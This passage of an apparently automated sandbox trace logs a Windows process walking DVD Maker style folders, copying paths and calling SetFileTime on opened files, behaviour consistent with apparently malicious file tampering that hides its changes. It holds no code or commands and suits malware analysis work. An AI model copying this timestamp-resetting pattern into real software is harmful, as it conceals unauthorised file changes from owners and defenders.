hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.941] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned="content-background.png" [0059.941] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.941] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.941] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.941] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned="content-foreground.png" [0059.941] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.941] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.942] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.942] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned="curtains.png" [0059.942] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.942] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.942] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.942] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned="flower_precomp_matte.wmv" [0059.942] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.942] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.942] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.942] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned="flower_PreComp_MATTE_PAL.wmv" [0059.942] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.942] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.942] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.943] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned="flower_trans_matte.wmv" [0059.943] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.943] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.943] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.943] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned="flower_trans_MATTE_PAL.wmv" [0059.943] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.943] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.943] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.943] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv") returned="flower_trans_rgb.wmv" [0059.943] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.943] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.943] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.943] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv") returned="flower_trans_RGB_PAL.wmv" [0059.943] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.943] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.944] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.945] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned="highlight.png" [0059.945] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.945] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.945] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.945] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png") returned="mainimage-mask.png" [0059.945] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.945] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.946] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.946] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned="notes-static.png" [0059.946] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.946] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.946] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.946] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*") returned="*.*" [0059.946] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.946] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.946] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.946] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp") returned="BlackRectangle.bmp" [0059.946] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.946] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.947] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.947] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png") returned="circleround_glass.png" [0059.947] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.947] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.948] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.948] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png") returned="circleround_selectionsubpicture.png" [0059.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.948] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.948] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.948] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png") returned="circleround_videoinset.png" [0059.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.948] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.949] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.949] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png") returned="Circle_ButtonGraphic.png" [0059.949] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.949] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.949] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.949] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp") returned="circle_glass_Thumbnail.bmp" [0059.949] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.949] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.949] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.949] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png") returned="Circle_SelectionSubpictureA.png" [0059.949] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.949] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.950] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.950] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.950] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.950] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.950] lstrcmpA (lpString1=".", lpString2="FlipPage") returned -1 [0059.950] lstrcmpA (lpString1="..", lpString2="FlipPage") returned -1 [0059.950] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8240, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0059.955] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.955] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.955] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.955] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.957] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.957] CloseHandle (hObject=0x90) returned 1 [0059.958] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.959] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.959] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.960] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.961] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.962] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.964] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.965] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.965] lstrcmpA (lpString1=".", lpString2="Full") returned -1 [0059.965] lstrcmpA (lpString1="..", lpString2="Full") returned -1 [0059.965] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8240, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0059.968] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.969] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.969] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.969] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.971] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.971] CloseHandle (hObject=0x90) returned 1 [0059.972] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.973] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.974] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.974] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.975] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.975] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.976] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.977] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.977] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.978] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.979] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.979] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.980] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.981] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.981] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.981] lstrcmpA (lpString1=".", lpString2="HueCycle") returned -1 [0059.981] lstrcmpA (lpString1="..", lpString2="HueCycle") returned -1 [0059.981] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8240, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0059.984] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.984] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.984] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.984] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.986] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.986] CloseHandle (hObject=0x90) returned 1 [0059.986] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.987] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.987] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.988] lstrcmpA (lpString1=".", lpString2="LayeredTitles") returned -1 [0059.989] lstrcmpA (lpString1="..", lpString2="LayeredTitles") returned -1 [0059.989] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, 